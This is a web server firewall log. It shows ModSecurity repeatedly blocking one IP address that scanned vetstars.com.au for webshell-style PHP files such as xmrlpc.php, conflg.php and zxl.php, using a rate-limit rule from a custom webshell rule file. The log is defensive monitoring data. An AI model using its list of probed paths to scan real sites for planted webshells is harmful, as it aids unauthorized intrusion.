[Wed Dec 17 04:10:56.764673 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:51736] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aUG80B5G6F9PXKmYDCSHLwAAAAY"]
[Wed Dec 17 04:10:57.289123 2025] [:error] [pid 61378:tid 61400] [client 135.235.159.29:43015] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUG80R5G6F9PXKmYDCSHMQAAABE"]
[Wed Dec 17 04:10:58.085667 2025] [:error] [pid 61380:tid 61460] [client 135.235.159.29:52250] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUG80lDXNylu9SqhT6oNIAAAAJY"]
[Wed Dec 17 04:10:58.739178 2025] [:error] [pid 61379:tid 61435] [client 135.235.159.29:6464] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUG80lX4E86rnrNa_8NsEQAAAFg"]
[Wed Dec 17 04:10:59.801495 2025] [:error] [pid 61379:tid 61429] [client 135.235.159.29:7159] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUG801X4E86rnrNa_8NsGgAAAFI"]
[Wed Dec 17 04:11:00.778749 2025] [:error] [pid 61380:tid 61450] [client 135.235.159.29:49059] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aUG81FDXNylu9SqhT6oNMAAAAIw"]
[Wed Dec 17 04:11:01.354337 2025] [:error] [pid 61472:tid 61477] [client 135.235.159.29:54492] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aUG81RAY-vW9raLQk19VXgAAAMM"]
[Wed Dec 17 04:11:01.820801 2025] [:error] [pid 61379:tid 61424] [client 135.235.159.29:54478] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aUG81VX4E86rnrNa_8NsLAAAAE0"]
[Wed Dec 17 04:11:02.793904 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:51725] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aUG81hAY-vW9raLQk19VagAAANQ"]
[Wed Dec 17 04:11:03.737801 2025] [:error] [pid 61379:tid 61428] [client 135.235.159.29:6337] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUG811X4E86rnrNa_8NsNQAAAFE"]
[Wed Dec 17 04:11:04.788419 2025] [:error] [pid 61380:tid 61462] [client 135.235.159.29:52248] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUG82FDXNylu9SqhT6oNPAAAAJg"]
[Wed Dec 17 04:11:05.951459 2025] [:error] [pid 61472:tid 61475] [client 135.235.159.29:50197] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUG82RAY-vW9raLQk19VeQAAAME"]
[Wed Dec 17 04:11:07.732031 2025] [:error] [pid 61472:tid 61479] [client 135.235.159.29:6151] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUG82xAY-vW9raLQk19VgAAAAMU"]
[Wed Dec 17 04:11:09.597412 2025] [:error] [pid 61379:tid 61416] [client 135.235.159.29:54525] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUG83VX4E86rnrNa_8NsTAAAAEU"]
[Wed Dec 17 04:11:11.755341 2025] [:error] [pid 61378:tid 61387] [client 135.235.159.29:45343] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUG83x5G6F9PXKmYDCSHSAAAAAQ"]
[Wed Dec 17 04:11:12.977227 2025] [:error] [pid 61378:tid 61383] [client 135.235.159.29:53340] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUG84B5G6F9PXKmYDCSHSgAAAAA"]
[Wed Dec 17 04:11:15.236582 2025] [:error] [pid 61472:tid 61488] [client 135.235.159.29:6773] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUG84xAY-vW9raLQk19VmgAAAM4"]
[Wed Dec 17 04:11:18.085321 2025] [:error] [pid 61380:tid 61461] [client 135.235.159.29:54544] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUG85lDXNylu9SqhT6oNbgAAAJc"]
[Wed Dec 17 04:11:19.531478 2025] [:error] [pid 61472:tid 61492] [client 135.235.159.29:54530] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUG85xAY-vW9raLQk19VsAAAANI"]
[Wed Dec 17 04:11:25.842088 2025] [:error] [pid 61380:tid 61439] [client 135.235.159.29:46415] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUG87VDXNylu9SqhT6oNhwAAAIE"]
[Wed Dec 17 04:11:28.245404 2025] [:error] [pid 61380:tid 61454] [client 135.235.159.29:47760] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUG88FDXNylu9SqhT6oNjwAAAJA"]
[Wed Dec 17 04:11:30.378355 2025] [:error] [pid 61380:tid 61440] [client 135.235.159.29:52211] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUG88lDXNylu9SqhT6oNlQAAAII"]
[Wed Dec 17 04:11:31.759880 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:45174] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUG88xAY-vW9raLQk19V3AAAANQ"]
[Wed Dec 17 04:11:32.868249 2025] [:error] [pid 61378:tid 61386] [client 135.235.159.29:46439] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUG89B5G6F9PXKmYDCSHbgAAAAM"]
[Wed Dec 17 04:11:34.063320 2025] [:error] [pid 61380:tid 61461] [client 135.235.159.29:44798] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUG89lDXNylu9SqhT6oNoAAAAJc"]
[Wed Dec 17 04:11:35.218758 2025] [:error] [pid 61380:tid 61459] [client 135.235.159.29:46409] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUG891DXNylu9SqhT6oNpAAAAJU"]
[Wed Dec 17 04:11:35.897835 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:44739] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUG89xAY-vW9raLQk19V4gAAANA"]
[Wed Dec 17 04:11:37.190495 2025] [:error] [pid 61378:tid 61404] [client 135.235.159.29:58474] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUG8-R5G6F9PXKmYDCSHewAAABU"]
[Wed Dec 17 04:11:38.225265 2025] [:error] [pid 61378:tid 61397] [client 135.235.159.29:51000] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUG8-h5G6F9PXKmYDCSHfgAAAA4"]
[Wed Dec 17 04:11:39.360903 2025] [:error] [pid 61378:tid 61407] [client 135.235.159.29:50597] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUG8-x5G6F9PXKmYDCSHgAAAABg"]
[Wed Dec 17 04:11:40.265488 2025] [:error] [pid 61379:tid 61433] [client 135.235.159.29:45131] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUG8_FX4E86rnrNa_8NsuwAAAFY"]
[Wed Dec 17 04:11:41.634592 2025] [:error] [pid 61379:tid 61434] [client 135.235.159.29:44754] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUG8_VX4E86rnrNa_8NswAAAAFc"]
[Wed Dec 17 04:11:42.917859 2025] [:error] [pid 61379:tid 61421] [client 135.235.159.29:50609] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUG8_lX4E86rnrNa_8NswgAAAEo"]
[Wed Dec 17 04:11:44.423190 2025] [:error] [pid 61380:tid 61449] [client 135.235.159.29:52621] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUG9AFDXNylu9SqhT6oNxgAAAIs"]
[Wed Dec 17 04:11:45.332746 2025] [:error] [pid 61378:tid 61406] [client 135.235.159.29:50583] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUG9AR5G6F9PXKmYDCSHjQAAABc"]
[Wed Dec 17 04:11:46.814481 2025] [:error] [pid 61472:tid 61478] [client 135.235.159.29:48270] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUG9AhAY-vW9raLQk19WCwAAAMQ"]
[Wed Dec 17 04:11:48.261510 2025] [:error] [pid 61378:tid 61397] [client 135.235.159.29:52608] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUG9BB5G6F9PXKmYDCSHlgAAAA4"]
[Wed Dec 17 04:11:49.410592 2025] [:error] [pid 61379:tid 61414] [client 135.235.159.29:45145] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUG9BVX4E86rnrNa_8Ns0QAAAEM"]
[Wed Dec 17 04:11:51.187151 2025] [:error] [pid 61379:tid 61427] [client 135.235.159.29:52644] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG9B1X4E86rnrNa_8Ns1QAAAFA"]
[Wed Dec 17 04:11:53.106815 2025] [:error] [pid 61378:tid 61407] [client 135.235.159.29:58398] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG9CR5G6F9PXKmYDCSHpwAAABg"]
[Wed Dec 17 04:11:54.121347 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:55858] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG9ClX4E86rnrNa_8Ns2QAAAEg"]
[Wed Dec 17 04:11:55.227607 2025] [:error] [pid 61379:tid 61431] [client 135.235.159.29:52650] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG9C1X4E86rnrNa_8Ns2gAAAFQ"]
[Wed Dec 17 04:11:55.960887 2025] [:error] [pid 61472:tid 61496] [client 135.235.159.29:54080] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUG9CxAY-vW9raLQk19WJwAAANY"]
[Wed Dec 17 04:11:57.685410 2025] [:error] [pid 61380:tid 61451] [client 135.235.159.29:55825] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUG9DVDXNylu9SqhT6oN6AAAAI0"]
[Wed Dec 17 04:11:59.162357 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:52594] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUG9DxAY-vW9raLQk19WLwAAANA"]
[Wed Dec 17 04:12:00.538179 2025] [:error] [pid 61472:tid 61487] [client 135.235.159.29:52624] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUG9EBAY-vW9raLQk19WNAAAAM0"]
[Wed Dec 17 04:12:01.890867 2025] [:error] [pid 61472:tid 61493] [client 135.235.159.29:52660] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUG9ERAY-vW9raLQk19WQAAAANM"]
[Wed Dec 17 04:12:02.443796 2025] [:error] [pid 61472:tid 61477] [client 135.235.159.29:54096] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUG9EhAY-vW9raLQk19WRQAAAMM"]
[Wed Dec 17 04:12:03.427908 2025] [:error] [pid 61378:tid 61396] [client 135.235.159.29:55839] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUG9Ex5G6F9PXKmYDCSHuAAAAA0"]
[Wed Dec 17 04:12:04.738674 2025] [:error] [pid 61378:tid 61383] [client 135.235.159.29:48289] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUG9FB5G6F9PXKmYDCSHwAAAAAA"]
[Wed Dec 17 04:12:06.335301 2025] [:error] [pid 61472:tid 61478] [client 135.235.159.29:52626] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUG9FhAY-vW9raLQk19WUQAAAMQ"]
[Wed Dec 17 04:12:07.608422 2025] [:error] [pid 61380:tid 61457] [client 135.235.159.29:48278] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUG9F1DXNylu9SqhT6oN_wAAAJM"]
[Wed Dec 17 04:12:08.409111 2025] [:error] [pid 61379:tid 61425] [client 135.235.159.29:50578] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUG9GFX4E86rnrNa_8Ns_gAAAE4"]
[Wed Dec 17 04:12:09.339731 2025] [:error] [pid 61380:tid 61438] [client 135.235.159.29:54117] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUG9GVDXNylu9SqhT6oOBAAAAIA"]
[Wed Dec 17 04:12:10.302409 2025] [:error] [pid 61379:tid 61416] [client 135.235.159.29:54130] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUG9GlX4E86rnrNa_8NtBQAAAEU"]
[Wed Dec 17 04:12:11.348538 2025] [:error] [pid 61380:tid 61440] [client 135.235.159.29:52605] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUG9G1DXNylu9SqhT6oODQAAAII"]
[Wed Dec 17 04:12:18.743970 2025] [:error] [pid 61380:tid 61456] [client 135.235.159.29:42611] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUG9IlDXNylu9SqhT6oOJAAAAJI"]
